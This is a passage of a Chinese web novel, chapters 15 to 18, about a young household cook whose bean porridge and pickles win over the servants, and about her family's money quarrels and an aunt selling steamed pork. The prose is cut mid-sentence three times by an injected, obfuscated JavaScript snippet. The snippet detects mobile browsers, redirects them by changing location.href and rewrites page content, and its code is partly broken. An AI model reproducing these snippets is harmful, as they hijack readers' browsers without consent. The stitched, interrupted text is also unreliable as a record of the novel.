胡娘子使劲闻了闻,刚才就数她和董婆子骂董顺家的最厉害,这时候就有些口渴饥饿,以往最不喜欢的豆粥,竟然闻起来味道不错,有粟米的清香和豆类熬开花之后的豆香。 董婆子也过来了,不过她是来抬豆粥出去的,也没想着先给自儿个留出来--以往小厨房的吃食可不用先留出来,回回都能剩下不少。 盐豉是早就腌好的,只要拿出来放到碗里,谁要吃就舀上一碟便是。 不过小厨房的盐豉放的盐不多,味道浸入不进去,吃起来就有些索然无味。 赵嬷嬷虽然没明说,但都知道是董顺家的把盐给克扣了,给她们小厨房的盐里面不知道掺了什么。 豆粥端出去之后,还在说话的人们也都自觉过来排队,这和晌午吃葱油面的时候不一样,没有人推搡,甚至还有人排到一半跑路的。 徐勇却眼巴巴的等着,他似乎已经闻到了那豆粥的香味,还回头和黄婆子对视了一眼。 黄婆子也使劲闻了闻,然后眼睛就亮了。 这豆粥似乎和平日里不一样! 黄婆子突然期待起来,好在人走了不少之后,她又到了前面,很快就能轮到她。 “给我两碗。”徐勇圆圆脸上带着笑。 “我也要两碗。”黄婆子在后面跟了一句。 大小王婆子对视一眼,突然觉得事情有些不妙。 “应该不能,葱油面好吃,那是用了不少油的,可这是豆粥而已,除了豆子就是米。” “就是,你看那两个人,一看就是吃什么都觉得香的。” 大小王婆子自我安慰好了,等着到了她们跟前,就朝胡娘子笑。 “呀,怎么是豆粥啊?” “我还说要尝尝那葱油面呢,也是咱们没见识,不知那葱油面有多好吃。” 胡娘子脸黑沉下来,问她们两个,“晚食就只有豆粥,吃不吃?” “来都来了,虽然豆粥滋味不好……” 话说到一半,就被突然一声“好香”给打断。 两个大小王婆子赶紧去看是谁这样下脸面,就看到了徐勇和黄婆子两个人。 他们两个端着粥坐到了一块儿,吃了一口之后就对视了一眼,同时说出了好香。 两个人一时之间有了几分惺惺相惜之情来。 其他排队早的,有吃到豆粥的,也纷纷抬头赞叹起来,“还别说,今儿个豆粥就是和以前不一样。” “我吃着也是,今儿个豆粥真香。” 胡娘子一听,刚才还有些底气不足,这时候也挺起了腰杆,“那自然是香的,也不看看是谁做的。” “还是晌午那个做葱油面的姐儿?” “她手艺可真不赖!” 胡娘子说完,就去看大小王婆子,底气也足了,“你们两个还要不要?” “要!”两个嬷嬷同时点头。 已经错过了葱油面,如何也不能把这个豆粥错过,就让她们尝尝豆粥到底好吃在哪里。 15. 第十五章 一有人说起来豆粥好喝,还在小厨房当差的几个人也纷纷探出了头,原本唉声叹气的气氛一下子就变了。 “难不成这粥也那样好喝?” 董婆子不是很相信,那葱油面她是觉得林杏月的手艺好,可这豆粥就是做的再好,那也香不到哪里去。 刚才闻着豆粥香的小云尝了一口,喝完眼睛立刻就瞪大了,使劲的点着头:“还真没说错,这豆粥的滋味就是香。” 赵嬷嬷喝了一口,也点头称赞:“看来咱们月姐儿已经能出师了。” 一个好的厨娘,不是看那些硬菜是否能做的登峰造极,反而是看一些最简单的食材能不能化平淡为神奇。 董婆子被她们馋的不行,赶紧出去找了胡娘子要了一碗粥。 胡娘子跟前的队又排得长长的,都是刚才只打了一碗粥的,在喝了一口之后,纷纷起身过来排队,就怕像那葱油面一样,还没吃上几口就都没了。 胡娘子嘴角都快裂到了后脑勺,笑得合不拢嘴,抽空给董婆子舀了一碗,扬声问那大小王嬷嬷: “咱们小厨房做的豆粥,可是合你们两个的口?” 两个嬷嬷才坐下没多久,就已经迫不及待的喝上了一口,实在是从刚才就被这味道勾的不上不下,太想尝尝到底是什么滋味。 这一口下去,两个人顿时目瞪口呆,她们还真没喝过这样好喝的豆粥,没有想象中那么难喝的豆腥味,也没有黏黏糊糊在嘴里的口感,只有一个感觉——真香! 两个人心里同时上了另一个念头,想着原先说葱油面好吃的,应当不是假话。 两个人实在有些后悔,没有尝到那葱油面是什么味儿,可这时候也吃不着,朝胡娘子笑了笑,跟着人群开始骂骂咧咧的说起来董顺家的。 董婆子舀了一碗粥也没立刻回到屋子里,她就在胡娘子的跟前喝了一口,咂了咂嘴,然后忍不住叹了一口气。 胡娘子好奇,一边舀饭一边问董婆子:“你这是怎么了,难不成这豆粥不好喝?” 董婆子唉声叹气:“哪里是不好喝,是实在太香了,你看我那个徒弟……” 胡娘子回头一看,松姐儿正鬼鬼祟祟的过来,手里拿着一个碗,显然也是要豆粥尝一尝的。 董婆子看到更是觉得来气。 同样都是徒弟,怎么差距就这样的大。 董婆子白了松姐儿一眼,端着豆粥回了屋子。 松姐儿莫名其妙,不过此时她顾不上那么许多,眼里只有豆粥。 胡娘子故意逗松姐儿:“我说你倒是不怕别人笑话,才和月姐儿闹了这样的事,还愿意过来吃。” 松姐儿撇撇嘴,哼了一声:“那都是大老爷身边平安认错了人,又不是我要上赶着。” 说完,人还别扭着,直接就端着粥回了屋子喝。 后面排队的人都要了两碗豆粥,还有人感慨幸亏刚才走了不少人,要不然他们还喝不上两碗。 徐勇和黄婆子两个人喝的速度都很快,偶尔再吃上一口盐豉,很快就喝的肚儿滚圆。 徐勇就说:“这盐豉显然不是月姐儿的手艺,她腌咸菜也好吃的很。” 黄婆子不知道林杏月还会腌咸菜,立刻凑近了问:“都可会腌些什么,回头拿了钱,我也过去买一些。” 旁边竖着耳朵听着的丫鬟婆子不少,还有先前那和赵婆子歪缠的赵老汉,最是心急,在旁边已经按捺不住开始催促徐勇。 徐勇不好意思地挠挠后脑勺:“月姐儿会的东西可多了,就腌菜就那么许多种——霉豆豉、酱八宝、茄鲊……” 众人只听着就眼睛直了,还有人一边听一边把徐勇说的话当成下饭菜,喝一口听一句。 也有迫不及待的,就像那赵老汉一样,眼巴巴的要去小厨房问林杏月。 林杏月正在厨房和众人说,这豆粥是怎样熬出来这样好喝的。 辛嫂子左看右看,不解:“分明都是一样的豆子,我瞧瞧也没甚分别。” 董婆子喝了一碗,仍然有些意犹未尽,一边问林杏月,眼睛一边往胡娘子那边瞟,希望外面还能再剩一些,回头她带回去,也给自家孙女英娘尝一尝。 别看她在小厨房,偶尔还能拿回去不少吃食,家里人却都愿意从外头叫了闲汉来买,汴京两岸小食摊可不少,花样也多的很。 英娘的嘴也刁,不过这豆粥想来应该她喜欢吃。 林杏月解释了一半,那赵老汉就在屋子门口探头探脑,赵嬷嬷就出去问了一声。 “咱家是想买些腌菜,不管是什么,只要是月姐儿腌制的就行。” 后面跟着几个丫鬟婆子,也纷纷点头应和。 还有人打趣赵嬷嬷:“我瞧着这是教会了徒弟饿死了师父,你这小徒弟可比你还要再厉害几分。” 赵嬷嬷并不恼,反而有几分高兴。 林杏月的手艺也不是一开始就这样好的,刚进小厨房的时候,拿菜刀的手都不稳,不过是日复一日的练,加上林杏月人又勤劳,不像松姐儿三天打鱼两天晒网,成日里想着怎么偷奸耍滑。 这才练成了如今这样的手艺。 那些腌菜赵嬷嬷也是尝过的,林杏月在家里做了什么好吃的,可是都不忘给赵嬷嬷送上一份。 她的目光就随着赵老汉,一块落在了林杏月身上。 林杏月还没答应,跟着进来瞧热闹的胡娘子就说:“左右她们是给钱的,你要是有空,就腌制一些出来。” 她这么说,也是有私心的,林杏月并不是那种抠抠搜搜的人,从之前做葱油面的时候就看出来,有好吃的也会给她们小厨房这些人留上一份。 等腌菜做出来了,少不得她们也能跟着沾沾光。 到时候配上这好喝的豆粥,胡娘子立刻觉得口齿生津起来。 那边董婆子一看胡娘子说这话,立刻就明白了她是什么意思,也跟着附和。 “要是你实在没空,就来咱们小厨房做,到时候咱们几个一块帮你。” 辛嫂子在旁边点头,她说话直接:“你那方子咱们不看,像洗菜切菜这种,咱们都是能帮得上忙的,到时候你只给咱们一些尝尝味儿。” 松姐儿撇撇嘴,想说出什么反对的话来,可一时也想不起来,只能把头扭到一边,耳朵却竖了起来听林杏月说话。 “既然这样,那我回头看看有什么腌菜可以做。” 赵老汉在一旁连忙点头,后边的徐勇也嘿嘿笑出了声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230517|165921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,赵婆子推了她一把,挤到了跟前,不忘也要上一份。 剩下的豆粥小厨房里的几个人都装到了食盒,林杏月也拿上了一份,冯大娘和林金兰在家里等着她回去吃晚饭。 先前吃饱回去的那些人,添油加醋的把林杏月做的豆粥又好生吹嘘了一番。 一些人还特地去和那些花钱让闲汉来买吃食的人跟前,提起来这事。 何娘子房里的三等丫鬟小梅就出去找闲汉要了些吃的,原先的时候,何娘子爱从大厨房叫许多的饭菜来,吃不完就分给大丫鬟们。 有一些大丫鬟不爱吃或者吃不完的,也会顺手给她们这些小丫鬟,不过这两天何娘子嘴里生了口疮,其他东西吃不下,从大厨房要的吃食就少了不少。 小梅听一交好的丫鬟半荟,说了小厨房做的葱油面多么好吃,虽然成了三等丫鬟之后,小梅已经很少去小厨房那边,不过为了尝尝葱油面的味道,她还是过去了。 只是到了那边以后,才听说葱油面是做不成,小厨房已经没有葱了。 小梅说不上多失望,哪怕别人说的再好吃,自个儿没尝到嘴里,多少是有几分不信的。 她就拿了一把钱出来,给了后街向外头等着的一闲汉,让他去买些豆腐髓来。 豆腐髓是甜咸口的,小梅喜欢吃甜口,上面总要浇许多的卤子,而且甜口不像咸口那样,吃完嘴里有味道。 虽然小梅不用去主子跟前伺候,可也不想被那些姐姐们念叨。 豆腐髓才来,和她交好的半荟就过来,和她说起来豆粥有多么好吃。 半荟没去外头叫闲汉,她和小梅不一样,还是个粗使丫鬟,手里的钱都要省着花。 那豆粥好吃,走的时候她还央求胡娘子给她带了一碗。 胡娘子一开始不给,还是半荟拿了小梅出来,说她不不信小厨房做的吃食好,想拿回去让小梅尝一尝。 胡娘子一听这个,立刻给半荟舀了满满一碗。 小梅看见那一碗豆粥,心下虽然感动,可她的豆腐髓都已经来了,肚子的地方总共那么大,今儿不吃的话,明儿豆腐髓就该坏了。 她是个三等丫鬟,手里的钱也不是多的很,不愿意浪费了。 “好妹妹,劳你一番好意了。” 半荟把豆粥往前推了推:“你且尝尝,味道是真真好,我再不骗你的。” “可我这豆腐髓……” “不过是尝一口,要是豆粥不好吃,你在吃那豆腐髓也不晚。” 看着半荟殷切的目光,小梅想了想,还是把豆粥端到跟前,吃了一口下去。 红豆的香味立刻在小梅的嘴里绽放开来,绵密的口感混合着谷物的香味,似乎能从唇齿一直暖到胃里。 看着小梅瞪大的双眼,半荟脸上带了几分笑:“我没蒙你吧,那月姐儿的手艺是真不差,豆粥都能做得这样好吃,不过你若是实在不愿意吃,我就留着当宵夜。” 小梅赶紧拦了一下,把豆腐髓推给半荟,“咱们两个换一换,说来这豆腐髓已经吃腻了,这样好吃的豆粥倒是头一次吃。” 说完,还不忘问半荟,“你说的那个月姐儿,到底是哪个?到时候我要想吃些别的,也能去找到人。” 16. 第十六章 夏末秋初,正是各种菜蔬瓜果成熟的时候,沿街就有不少货郎挑着担子卖。 要是想要新鲜更好的,一早去早市上找,东西肯定更好。 不过相应的,这个点买的菜价格更便宜,几个铜板就能买一堆。 林杏月收了老汉他们的钱,就出去挑了不少的菜回来。 其他人看着那一桌子的菜,似乎已经变成了什么美味一样,看的眼神都不一样。 “要是急着吃,醋萝卜和腌芥菜最快,时间长一些的话,那酱八宝也能做一些。” 赵嬷嬷都吃过,还帮着林杏月改进过味道,就说做一些酱八宝出来。 “这个不好学,总要让人知道了你的本事才是。” 林杏月感激的看了看赵嬷嬷,决定就做酱八宝。 她出去的时候,还买了些粗茶回来,打算回头到了家里,做些茶叶鸡子来。 酱八宝主要会用上豉汁、豆酱、米酒、花椒、橘皮、炒芝麻……再往里面放各种切好的时蔬,放到罐子里进行腌制。 这一套下来,小厨房的人就开始啧啧,巴不得那酱八宝立时就能吃。 “还得等等才行。” 林杏月密封好陶罐之后,想起来家里的毛豆腐。 毛豆腐是豆腐块铺在稻草上捂出来的,捂出来之后,每一块上面都蘸满粗盐,再放入黄酒、花椒这些调味,密封起来。 算算时候,也差不多能吃了。 林杏月做完腌菜,又被赵嬷嬷他们早早的放了回来,让她在家好好休息。 她的脚步脚步快到家里的时候就轻快起来,老远就能听到院子里传来的说笑声。 走过去就看到院子里支着的小桌子,上面摆着几碟下酒菜,旁边燃烧着艾草叶子驱蚊。 林金兰支着脑袋打瞌睡,时不时挥挥手赶蚊子,看到林杏月回来了,先开口抱怨,“怎么的这么晚,我们在这里可是一直喂着蚊子。” 林杏月也不恼,七夕前后蚊子也正是厉害的时候,在外面待上一会儿就可能被咬上好几口。 她先去逗了逗玉姐儿,“怎么这么晚也没睡,等姐姐呢?” 玉姐儿困的眼睛都睁不开了,使劲睁着去看林杏月,“是等姐姐呢,不过我刚才看到大娘偷偷喝了两口酒。” 最后一句声音压的低低的,生怕冯大娘听到了。 林杏月就扫了过去,冯大娘心虚的赶紧招手,“快来尝尝,这酒放我跟前可把我馋坏了,光吃了一肚子的糖蒜。” 糖蒜是张婶娘家里腌制的,府里面婆子喝酒,也是要有下酒菜的,舍得花钱的就买了果干、腊肉、盐水虾这种,不舍得花钱或者手里就没有多铜板的,就会拿了糖蒜豆豉这些出来。 冯大娘说完,就给每个人倒了一杯蔷薇酒,她自己倒了一大碗,咕咚咕咚就喝了下去。 小酒度数低,也就能尝个甜味,就连玉姐儿也喝了两口,根本不醉人。 张婶娘同林杏月展示了一下她做的粉蒸肉,“我就按照你说的法子,她们说我做出来的味道不差什么,你尝尝怎么样?” 说完,张婶娘就兴致冲冲的去灶间拿了过来。 张婶娘手艺不错,林杏月尝了两口就点头,“好吃。” 张婶娘脸上的笑容就大了几分,“明儿个我还去和丰楼,到时候再买些五花肉回来。” 说完她又看了看玉姐儿,“不然明儿个跟我一块儿去,没得天天在家里闷着。” 玉姐儿眼睛亮了亮,也不打瞌睡了,问张婶娘和林杏月,“我能跟着一块儿去?” “自然能,就是外头拐子也多,玉姐儿你可好好拉着婶娘,别乱走。” 玉姐儿使劲点头,小小的人脸上终于高兴起来。 “说起来,玉姐儿也快进府了,到时候哪里还有松快的日子,都得学着伺候人。” 冯大娘趁着她们说话的时候,一个人把剩下的蔷薇酒都给喝到了肚子里,林金兰再去倒的时候,就倒不出来,只能去拿了另一壶桂花酒。 “月姐儿,你说咱们家那荷花是不是也能用来酿酒?”冯大娘没搭理林金兰,就那么一角的酒,她根本喝不够,这才把注意打到荷花上面。 园子里开着的花还有不少,要是都能酿了酒就行。 张婶娘嗔怪冯大娘,“咱们月姐儿是在小厨房上工,不是去酒楼里当学徒,你当酒是那么好酿的?” “也是。”冯大娘不禁有些失望,想着多挣了钱也好,到时候就能打酒喝了。 林杏月一看冯大娘那个样子就知道她在想什么,她刚穿过来的时候,冯大娘就浑身酒气,也不刷牙,味道是离老远都能闻到。 林杏月又想起来冯大娘掷骰子的事情,脸一下子就沉起来,也不让冯大娘继续喝酒了。 “当时说好了,娘每天只能喝上三五口,再多是不能了。” 冯大娘傻眼了,看着林金兰得意的倒了一杯桂花酒喝起来,歪缠起来,“今儿个是大家都高兴,又不是天天都喝的,你也忒扫兴了些。” 说完见林杏月和林金兰没反应,都不搭理她,又上前去拉林杏月的袖子。 “好女儿,再让我喝上两碗,总要尝尝那桂花酒的味道,我今儿个可是为了摘那荷叶都掉到了水里,况且今儿挣的钱我都还没给你要。” 林杏月听了就冷笑了一声,问冯大娘,“我倒是不知你还打着我那钱的主意,先前我当差的月钱可是都给了你,这么说你还没给我还回来。” 林金兰在一旁看热闹不嫌事大,立刻附和,“就是娘,我以前在你这里存的月钱,你还得给我还回来呢。” 张婶娘拉了拉林金兰的袖子,让她先别掺和。 林金兰不想错过这个时机,上次她和冯大娘打架,不就是为了她的那个月钱。 要是给了梁妈妈孝敬,说不得将来也能去主子跟前当差。 这一下子可是捅了马蜂窝,风大娘本来就因为之前林杏月把她月钱收走的事儿,郁郁寡欢,林金兰还让她把之前早就这骰子输了的钱还回去,简直是挖她的心一样。 她先瞪了林金兰一眼,把装了酒的碗放下,“不喝就不喝,何至于就说了那钱的事情。” 林杏月知道冯大娘最会耍无赖,这事要是说不清,冯大娘一直惦记着,后头还不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230518|165921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道生出多少事来。 也是她之前没想明白,只想着不能让张婶娘白辛苦看,没想着冯大娘这边。 她缓和了语气,“酒还是不能喝,除了我给你买回来的,你才能沾沾嘴尝个味儿。至于那钱我也分给娘一成,总不能让娘白辛苦。” 张婶娘怕她们娘两个再打起来,就说也要拿出来一成,“本来给我的就多。” “那不行。”林杏月没同意,“如今做和卖都是婶娘,最是辛苦不过了,娘要是觉得少,我再添上几个大钱便是。” 林金兰看冯大娘就要同意,两个人也不掺合之前的月钱事情了,在旁边急的上蹿下跳,一会儿去冯大娘跟前说太少,一会儿去林杏月跟前说给的太多。 林杏月和冯大娘都没搭理林金兰,让林金兰去一边玩儿,冯大娘还说林金兰,“你那月钱我瞧着还是得给我收着,给了你两天就花没了,全都能买了花儿和镯子。” 林金兰愤愤不平的说,“怎地月姐儿就能自己拿着,我还是姐姐!给了娘才是打了水漂,一个子儿也别想要回来。” 林杏月让她等会儿再和冯大娘吵架,扭头问冯大娘,“这样给一成加五六个铜板行不行?” 冯大娘说不过林杏月,这丫头从小主意就正,知道再歪缠下去,怕是一个子也不给她,只能点头。 林杏月这才去看林金兰,同她说,“姐姐要不这样,你月钱我给你保管着,你要买什么,只管来找我。” 至于到时候给不给的,林杏月决定看情况。 林金兰和冯大娘一样,花钱都是大手大脚,也不知道都花去了哪里,左右没有存下来钱,也没有添置个像样的首饰。 林金兰想了想就同意了,从林杏月这里拿钱,总比从冯大娘那里好拿一些,毕竟她是姐姐。 冯大娘没反应过来,等反应过来的时候,林杏月和林金兰两个已经一块儿去收拾碟子。 “嘿。”她在原地啧啧几声,拉着张婶娘算账,“我怎么觉得到头来,我们家的钱全都给了月姐儿,我和兰姐两个人是手里一个子儿也没有。” 张婶娘和玉姐儿在一旁吱吱笑了好一会儿,张婶娘才说,“怎么没给你,不是有提成,只看你用不用心干活了。” 冯大娘脸上挂不住,索性坐下来,把酒壶里的酒都给喝了。 林杏月当没看见,左右冯大娘手里没了钱,想买酒也不能,也不能把人逼的太紧了。 不过她刚才倒是想到,别说外头,就是府里喝酒的婆子就不少,要是做了下酒的碟子出来,怕也是好卖的很。 “娘,你回头再挖些笋子回来,我做些糟笋干出来。” 冯大娘赌气,“不挖,想做你自儿个买了去,左右你手上也有钱。” “那也行,不过这糟笋干可是要用酒糟发酵,吃起来就酸酸甜甜的,用来下酒最好,就是不下酒,也和喝那小酒没什么区别。” 林杏月故意说。 冯大娘眼珠子转了转,清咳一声说,“我想了想,到底园子里的毛竹就不少,让你出去买实在浪费,回头我自己挖一些回来就是,只做好了可得留着一些出来。” 17. 第十七章 林杏月带着笑点头,“知道了。” 张婶娘和玉姐儿跟着笑了一会儿,两个人帮着收拾了才回家。 玉姐儿没有回自己家里,跟着张婶娘回了她家里。 私下里,张婶娘和冯大娘没少说宋更夫不靠谱,不知道心疼自家闺女。 “成日里就在外面相看,不都说有了后爹就有了后娘。” 冯大娘也跟着叹息,“可不就是咋的,我不也是寡妇,日子照样能过,偏这些个汉子离不了女娘,一个个的不安分。” 林杏月因为一天都在忙碌,早早的就上床歇着去了,冯大娘说完话,回来先去打水刷牙洗漱。 她晚上喝了酒,不敢不洗,不然两个女儿能不让她睡觉,折腾到半夜也要让她洗干净了。 冯大娘拿着牙刷去了院子里,这牙刷还是专门从牙粉行里买的,花了二十来个大钱。 以前哪里这样讲究,不过拿手指蘸了牙粉揉搓就行。 她刷牙的时候,林金兰鬼鬼祟祟的去了灶间,见冯大娘没有注意到,赶紧把没有吃完的糖蒜放在了荷包里,这才又悄悄的出来。 第二天去当差,林金兰就把那糖蒜拿了出来,给了昨儿个上供的那两个小丫鬟。 两个小丫鬟面面相觑,不知道林金兰这是什么意思。 “你们只管拿了吃。”林金兰轻咳一声,“我也不白拿你们那几个大钱,左右以后有什么事了,只管来找我。” 两个小丫鬟怯怯的不敢伸手,还是林金兰不耐烦催促起来,她们才伸手拿了吃。 不过就几头糖蒜,两个小丫鬟却宝贝的很,吃一口就互相对着笑一笑。 这两个小丫鬟孤零零被卖到府里,比家生子又不如,谁也能呵斥几句。 林金兰都没眼看,干脆把头别了过去,等她们吃完才走。 两个小丫鬟等林金兰走远了就小声嘀咕,“兰姐儿人不赖,以前把月钱给了干娘们,也没人说给咱们留个吃的。” “是啊,就是看着厉害些。”另一个小丫鬟洒儿叹息,那些干娘别说给吃的了,每个月动不动还要她们额外孝敬,什么打酒买衣裳的,使劲的在她们身上扒皮。 两个人又想到昨儿个她们叫了悍姐儿之后,林金兰生气却只是做做样子,到底没有动手打她们,觉得林金兰人更好了。 张婶娘一早起来,手里提了个篮子,就和玉姐儿一块出门。 昨儿个才去卖了头一天,张婶娘第二次去还是有些忐忑,加上林杏月不在身边,她一路都紧紧的拉着玉姐儿的手。 玉姐儿两只眼睛都觉得不够看,以前姜婶娘还在的时候,也时常领着她出来,不过后来姜婶娘生了病,她出来的次数就少了许多。 张婶娘见玉姐儿这样高兴,想着就是卖不出去也没什么,就当是带着玉姐儿出来散散心。 她还哄玉姐儿,“一会儿咱们回府的时候,我给你买一串面人。” 两个人刚走到禾丰楼,就见一个老汉一直在不停的张望,看见张婶娘过来,眼睛都亮了。 “哎哟,可算是等着你来了,我还怕你今儿个不来。” 张婶娘一下子就认出来这老汉,就是说过猪肉不好吃的赵老丈,有些奇怪的看着他,“可是有什么事?” 赵老丈昨天拿着粉蒸肉回去,不巧家里来了客人,想着再出去买吃食也来不及,就把粉蒸肉打开,和客人一块吃了。 他还怕客人嫌弃,没说这肉是用什么做的,只说是在禾丰楼瞧见了新鲜的吃食,尝了味道不错,这才买了回来。 “瞧这倒是新奇。”客人见用荷叶包裹着的吃食不少,但这粉蒸肉还和其他的不同,那些荷叶不过是用来打包,这荷叶却是包裹着肉一块上锅蒸熟了。 还没吃,赵老丈家的客人就有了几分好感。 等真下筷子吃了,粉蒸肉的口感肥而不腻,里面既有米的香味,又有荷花的清香。 “好吃,真香!” 赵老丈立时觉得有了面子,和客人推杯换盏,好不高兴。 这客人不过是在汴京待上两日,今儿个就要走,赵老丈见他这样喜欢粉蒸肉,就想着再来张婶娘这里买一些。 他还怕粉蒸肉被人买了去,早早的就来了禾丰楼,可是等了好一会儿了。 张婶娘听了就乐呵,把篮子上的布掀开,依旧是五十个大钱两个,让赵老丈挑一挑。 “说来咱都是回头客,你这价格再往下落一落,我再买上一个。” 赵老丈自个儿也没吃过瘾,昨儿那两个粉蒸肉,可有一多半都进了客人的肚子。 他想着要是买上三个,给客人带走两个,剩下一个还能解解馋。 张婶娘也好说话,想着猪肉的成本本来就不高,她也怕东西不好卖出去,七十个大钱就给了赵老丈三个。 刚才他们在这里说话的时候,禾丰楼里吃果子喝小酒的官人娘子就有不少注意到这边的,瞧见赵老丈提了什么东西匆匆走了,就有人过来问张婶娘。 张婶娘赶紧掀开让他们看了看,“这叫粉蒸肉,整个汴京就咱这一家,东西不多,卖完就没。” 有人怕赵老丈是个托,专门这样哄骗他们来买的,再说之前也没看张婶娘来禾丰楼兜售过东西。 不像别的提篮娘子,时常来禾丰楼的人总是见到,早就混了个脸熟。 张婶娘瞧出来了,大方的解开一个荷叶,让他们尝一尝味道。 “好吃再买。” 这样可以试吃,本来不打算买的人也都过来打算尝一尝。 玉姐儿在旁边也没闲着,帮着张婶娘一块递给围观的人。 一个拆开的粉蒸肉不大一会儿就都被吃完了,这些人吃过之后,表情个个讶异。 “味道还真是不赖。” “怪不得刚才那老丈人要了三个,还早早的过来就等着,整个汴京却也是没见过这样的吃食。” 张婶娘赶紧说了价格,“我也就这一篮子的东西,再多是没有的。” 有人听了,赶紧就掏出钱来,“给我来上一个,就要边上这个。” “我也要上一个。” 还有人摇头叹息,“今儿个出门没带这么多钱,不知道这位娘子明儿个是否还来?” 张婶娘乐得合不拢嘴,“自然是来,不过咱这东西好卖,要是想要的话,可也得赶早。” “应当的,应当的。” 还有人嫌价格太贵,在那里和张婶娘磨着,“羊肉也才四十个大钱一斤,你这里面用的还是那贱肉,如何就要卖得这样贵!” 张婶娘早就想好了如何应对,不慌不忙的解释,“贱肉不贱肉的,咱这粉蒸肉做出来味道就是好,那羊肉可做不出来这样的味道。” “再好吃也不是羊肉,花这些个钱买这个,还不如去买上一斤羊肉回家炖去。” “羊肉常见,那是想什么时候吃都行,我这粉蒸肉可独此一家呢。” 张婶娘这样说完,本来还在犹豫的几个人想到粉蒸肉的味道,也拿了钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230519|165921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,篮子里最后几个粉蒸肉就这样卖完了。 禾丰楼里不只张婶娘一个提篮叫卖的,其他人是经常来这里卖的,见张婶娘不过才来第二日,又早早的卖完了,一个个又惊讶又羡慕。 “不知这是从哪里来的,卖的那什么荷叶粉蒸肉,竟然那样好卖。” “是啊,我瞧这东西价格也挺贵,不像我这果碟儿,十五个大钱一盘子,买的人却少。” “就是不知道是个什么味儿,要是好做的话,回头咱们也做了来。” 要说这些提篮娘子有什么坏心思,那也是没有的,不过都是为了糊口饭吃,想着荷叶粉蒸肉好卖,如果做了来,也能多挣几个铜板。 只是张婶娘今天带着的粉蒸肉全都卖完了,他们只能等着下次。 张婶娘把铜板收好,带着玉姐儿出了禾丰楼,走之前还不忘和那几个酒博士问了好。 这几个酒博士也早就注意到张婶娘卖的东西了,他们禾丰楼对这些提篮娘子可是欢迎得很,刚才就有客人买了粉蒸肉之后没着急回家,坐下来要了酒配着吃。 这样一来,这些酒博士见到张婶娘就很是客气。 * 府里,大老爷上次因为饭菜不合口出了门,回来就听说周大娘子让宋小娘过来服侍的事情,气的当场就摔了杯子,和周大娘子大吵了一架,去了宋小娘那边歇息。 周大娘子也是性子硬的,觉得大老爷下了她面子,和他别起了劲儿,府里的气氛一时就沉闷起来。 徐柏和平安这些小厮也都夹紧了尾巴做人,没人敢在这时候去触了大老爷的霉头。 可即便他们安安分分,气不顺的大老爷看什么也不顺眼,徐柏和平安就因为各种原因各自被踹了一脚。 这都算是轻的,最起码没打他们板子,两个人除了苦笑一番,也做不来别的。 以往这个时候,吃食就要糊弄许多,平安最受不了这个,大老爷那边赏的菜到不了他们这边,小厨房做的饭菜也不合口味。 他唉声叹气的,又听说大厨房要了不少小厨房的人过去帮忙做巧果,就忙打听林杏月是不是也过去了。 赵嬷嬷早上一来,就说了大厨房要人过去的事情。 以前只董婆子会去帮忙,其他人都是不用去的,今年一下子要了不少人过去,大家骂董顺家的就更起劲了。 松姐儿还特意过来林杏月身边说风凉话,“真是老天爷,都看不下去你这样轻狂了。” 她说话一向不好听,这两天又和林杏月置气,说的就更口无遮拦。 谁知道林杏月还没说话,那边胡娘子就开口,“咱们小厨房也是要留人的,大厨房那边过去就是帮着做巧果,我看月姐儿就别去了。” 经过那葱油面和豆粥的事情,不少人对小厨房都有改观,也不在背后天天骂他们了。 “就是,松姐儿左右在这里也帮不上什么忙,我瞧着就去大厨房那边历练历练。” 松姐儿听了,嘴立刻就撅了起来,她可不想去大厨房那边,哪里有在自个小厨房这里自在。 她这时候才后悔起来,刚才就不该刺林杏月那一下,最后搬起石头砸了自个儿的脚。 赵嬷嬷还没说话,以前松姐儿不敢和赵嬷嬷多说什么,这时候也顾不上那么许多,赶紧说自个儿手拙,怕是做不出来。 “那倒没事,到那边还有师父来教。” 赵嬷嬷看了一眼松姐儿,拍了板,让林杏月留了下来,松姐儿过去大厨房帮忙。 18. 第十八章 留下的人少了,这几天小厨房也只做些简单的吃食就行。 以往这个时候,不少丫鬟婆子都是从外面叫闲汉来买东西,有了葱油面和豆粥的事儿,不少人先来小厨房打听。 听说林杏月没有去大厨房,来打听的大小王嬷嬷脸上就带了几分笑。 “就是你们人少了,会不会随便做些吃食来糊弄咱们?” 胡娘子没跟着过去,听见小王嬷嬷这样说,就哼了一声,“什么叫糊弄,当一天和尚撞一天钟,你们这些婆子怎生说话这样难听。” “那倒不是,先前你们做的吃食,实在是难以下咽!就说那豆粥,熬出来的豆是豆,粥是粥,难喝的很。” 